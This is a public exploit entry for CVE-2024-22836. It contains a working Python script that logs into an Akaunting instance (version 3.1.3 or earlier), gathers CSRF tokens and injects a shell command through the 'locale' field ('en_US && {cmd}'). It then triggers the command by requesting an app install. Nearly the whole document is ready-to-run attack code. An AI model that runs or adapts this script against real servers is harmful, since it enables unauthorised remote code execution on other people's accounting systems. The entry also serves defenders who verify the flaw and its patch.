Akaunting < 3.1.3 - RCE

# Exploit Title: Akaunting < 3.1.3 - RCE
# Date: 08/02/2024
# Exploit Author: u32i@proton.me
# Vendor Homepage: https://akaunting.com
# Software Link: https://github.com/akaunting/akaunting
# Version: <= 3.1.3
# Tested on: Ubuntu (22.04)
# CVE : CVE-2024-22836

#!/usr/bin/python3

import sys
import re
import requests
import argparse

def get_company():
	# print("[INF] Retrieving company id...")
	res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
	if res.status_code != 302:
		print("[ERR] No company id was found!")
		sys.exit(3)
	cid = res.headers['Location'].split('/')[-1]
	if cid == "login":
		print("[ERR] Invalid session cookie!")
		sys.exit(7)
	return cid

def get_tokens(url):
	res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
	search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)

	if not search_res:
		print("[ERR] Couldn't get csrf token")
		sys.exit(1)

	data = {}
	data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')
	data['session'] = res.cookies.get('akaunting_session')
	return data

def inject_command(cmd):
	url = f"{target}/{company_id}/wizard/companies"
	tokens = get_tokens(url)
	headers.update({"X-Csrf-Token": tokens['csrf_token']})
	data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}
	res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
	if res.status_code == 200:
		res_data = res.json()
		if res_data['error']:
			print("[ERR] Command injection failed!")
			sys.exit(4)
		print("[INF] Command injected!")


def trigger_rce(app, version = "1.0.0"):
	print("[INF] Executing the command...")
	url = f"{target}/{company_id}/apps/install"
	data = {"alias": app, "version": version, "path": f"apps/{app}/download"}
	headers.update({"Content-Type":"application/json"})
	res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
	if res.status_code == 200:
		res_data = res.json()
		if res_data['error']:
			search_res = re.search(r">Exit Code\:.*<", res_data['message'])
			if search_res:
				print("[ERR] Failed to execute the command")
				sys.exit(6)
			print("[ERR] Failed to install the app! no command was executed!")
			sys.exit(5)
		print("[INF] Executed successfully!")

def login(email, password):
	url = f"{target}/auth/login"
	tokens = get_tokens(url)

	cookies.update({
		'akaunting_session': tokens['session']
	})

	data = {
		"_token": tokens['csrf_token'],
		"_method": "POST",
		"email": email,
		"password": password
	}
	
	req = requests.post(url, headers=headers, cookies=cookies, data=data)
	res = req.json()
	if res['error']:
		print("[ERR] Failed to log in!")
		sys.exit(8)

	print("[INF] Logged in")
	cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})
		
def main():
	inject_command(args.command)
	trigger_rce(args.alias, args.version)

if __name__=='__main__':
	parser = argparse.ArgumentParser()
	parser.add_argument("-u", "--url", help="target url")
	parser.add_argument("--email", help="user login email.")
	parser.add_argument("--password", help="user login password.")
	parser.add_argument("-i", "--id", type=int, help="company id (optional).")
	parser.add_argument("-c", "--command", help="command to execute.")
	parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")
	parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")

	args = parser.parse_args()
	
	headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}
	cookies = {}
	target = args.url

	try:
		login(args.email, args.password)
		company_id = get_company() if not args.id else args.id
		main()
	except:
		sys.exit(0)